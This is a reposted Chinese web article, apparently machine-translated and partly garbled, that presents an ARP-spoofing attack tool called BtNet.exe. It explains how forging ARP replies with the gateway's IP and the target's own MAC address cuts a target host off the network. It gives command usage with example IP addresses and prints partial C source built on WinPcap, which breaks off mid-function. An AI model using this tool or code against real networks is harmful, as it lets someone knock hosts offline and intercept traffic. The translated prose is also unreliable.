首页/杀毒教程/内容

的R -基于网络攻击, ARP协议欺骗程序源代码BtNet.exe

杀毒教程2022-11-08 阅读()
随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。
信息来源:红客联盟

文章作者:粗鲁

阿尔普的基础上欺骗的网络攻击程序

写的鲁德

主页: http://xEyes.cdut.net/ruder/ & & http://www.cnwill.com/ruder/

电子邮件: cocoruder@163.com

最近开始学习WinPcap的, 已经看到了很多的基础上撰写的主人欺骗ARP协议捕获工具, 特别是高级Dianzaiketai TOo2y的“谈谈呼吁WinPcap的驱动程序的工具多ARP协议写道: ”我感到非常的收益。 我下面的这个思想统一到ARP协议的攻击程序(目标主机可以断开网络连接)的一些测试。 请跳过硕士, 以免有休闲的拉斯维加斯。

ARP协议欺骗一般是被欺骗的主机ARP协议答复报告的数据来源IP地址, 家里的合同, 东道国欺骗主机地址, 源MAC地址已改变了他们的MAC地址。 假设有两个机器有A , B , 发送ARP协议答覆数据报告的A , 其中源IP地址为B的地址, 源MAC地址我的机器的MAC地址( IPRouter功能, 以确保数据传送至公开) , 然后传送公司的数据报告给我的头发机, 类似的B做同样的手术, 然后在A “ == ”乙数据将流经的机器, 我期待到一个正常ARP协议包若要变更在甲, 乙, 直到ARP高速缓存。

然后, 我们发送到A的ARP协议报告的数据源IP , 源的MAC更改到任何这是会发生什么?这里列举了一些我的测试

1 。 要改变源IP网关的IP , 源的MAC改变MAC地址不存在

在目标主机几乎不影响

2 。 要改变源IP网关的IP , 源的MAC改为随机网络, 但没有公开IPRouter主机的MAC地址

几乎没有任何影响

3 。 要改变源IP网关的IP , 源主机的MAC阅读目标的MAC

净目标主机立即!

当我们发送可以看出通过ARP协议的结构进行真正的目标主机, 将主机的目标改变ARP高速缓存, 数据包的MAC层将是一个时候, 网关IP和MAC地址自己的包在一起, 网关发送给报纸别无选择, 只能发出自己的数据, 哈哈。

至于第一种情况, 怀疑可能是因为MAC地址不存在, 目标将举办一个广播ARP协议请求数据包和更新其ARP高速缓存造成的。

至于第2号案件中, 源MAC地址的嫌疑人将返回各自所在的地址解析答覆的目标主机。

有限, 因此只有一个猜测, 请让我知道不久后, 先谢。

谈论的是, 这些测试只适用于Windows系统, 当然, 还没有经过测试就分配好了成功的红帽。

测试程序( BtNet.exe ) :

用法: BtNet小时attackIP邻gateIP [米spoofedMAC ]

米的参数, 你应该修改源MAC地址。

为了掩盖身份的攻击, 该计划已再次的目标时, 主机MAC地址伪装成的IP : 128.128.128.128 , 陆委会:第5条, 第5条, 第5条, 第5条, 第5条, 第5条, 无法获取MAC地址的目标主机, 然后必须MAC地址的请求通过第三方的工具。

附测试代码

#include "packet32.h"

#include "ntddndis.h"

#include <stdio.h>

#include <conio.h>

#include <winsock2.h>

#include <windows.h>

#pragma comment(lib,"ws2_32")

#pragma comment(lib,"packet")

#define ETH_IP 0x0800

#define ETH_ARP 0x0806

#define ARP_REQUEST 0x0001 //arp请求包

#define ARP_REPLY 0x0002 //arp应答包

#define ARP_HARDWARE 0x0001

#define max_num_adapter 10

#pragma pack(push,1)

typedef struct ethdr

{

unsigned char eh_dst[6]; //以太网目的地址

unsigned char eh_src[6]; //以太网源地址

unsigned short eh_type; //

}ETHDR,*PETHDR;

typedef struct arphdr //arp头

{

unsigned short arp_hdr; //硬件类型

unsigned short arp_pro; //协议类型

unsigned char arp_hln; //硬件地址长度

unsigned char arp_pln; //协议地址长度

unsigned short arp_opt; //

unsigned char arp_sha[6]; //发送端以太网地址

unsigned long arp_spa; //发送端ip地址

unsigned char arp_tha[6]; //接收端以太网地址

unsigned long arp_tpa; //接收端ip地址

}ARPHDR,*PARPHDR;

typedef struct ip_mac

{

u_long ip;

unsigned char mac[6];

}IP_MAC,*PIP_MAC;

#pragma pack(push)

LPADAPTER lpAdapter;

char adapterlist[max_num_adapter][1024];

IP_MAC toipandmac;

IP_MAC oipandmac,myipandmac;

BOOL param6=FALSE;

char *noMACstr;

char noMAC[6][3];

u_long mytoIP,oIP;

BOOL sendtoOip;

MSG msg;

UINT newtimer;

char MYIP[20]="128.128.128.128";

BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;

int getint(char c)

{

int t=-1;

if((c<='9')&&(c>='0'))

t=c-'0';

else if((c>='a')&&(c<='f'))

t=10+c-'a';

else if((c>='A')&&(c<='F'))

t=10+c-'A';

return t;

}

void start()

{

printf("BtNet //--an ARP Tool test the Windows Break the Internet\n");

printf("written by Ruder,10/2003\n");

printf("Homepage: http://xEyes.cdut.net/ruder/index.htm\;n");

printf("E-mail: cocoruder@163.com\n");

printf("\nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]\n");

printf("Example:\n");

printf("BtNet -h 202.115.138.12 -o 202.115.138.1\n");

printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7c\n");

printf(" Warning: You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");

return ;

}

DWORD WINAPI sniff(LPVOID)

{

LPPACKET lppackets,lpPacketr;

char recvbuf[1024*250];

ULONG ulbytesreceived,off;

ETHDR *eth;

ARPHDR *arp;

char *buf,*pChar,*base;

char szTemp[20];

struct bpf_hdr *hdr;

if((lppackets=PacketAllocatePacket())==FALSE)

{

printf("PacketAllocatePacket send Error: %d\n",GetLastError());

return 0;

}

if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)

{

printf("Warning: Unable to set the adapter to promiscuous mode\n");

}

if(PacketSetBuff(lpAdapter,500*1024)==FALSE)

{

printf("PacketSetBuff Error: %d\n",GetLastError());

return 0;

}

if(PacketSetReadTimeout(lpAdapter,1)==FALSE)

{

printf("Warning: Unable to set the timeout\n");

}

if((lpPacketr=PacketAllocatePacket())==FALSE)

{

printf("PacketAllocatePacket receive Error: %d\n",GetLastError());

return 0;

}

PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf));

while(!kbhit())

{

if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE)

{

return 0;

}

//getdata(lppacketr,option);

ulbytesreceived=lpPacketr->ulBytesReceived;

buf=(char *)lpPacketr->Buffer;

off=0;

while(off<ulbytesreceived)

{

if(kbhit())

{

return 0;

}

hdr=(struct bpf_hdr *)(buf+off);

off+=hdr->bh_hdrlen;

pChar=(char *)(buf+off);

base=pChar;

off=Packet_WORDALIGN(off+hdr->bh_caplen);

eth=(PETHDR)pChar; //以太头

arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头

int i;

if((eth->eh_type==htons(ETH_ARP))&&

(arp->arp_opt==htons(ARP_REPLY)))

{

//if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP))))

{

if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag)

return 0;

if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE))

(北联网教程,专业提供视频软件下载)

第1页  第2页  第3页  第4页  第5页  第6页  第7页  第8页  第9页  第10页  第11页  第12页  第13页  第14页  第15页  第16页  第17页  第18页  第19页 

……

相关阅读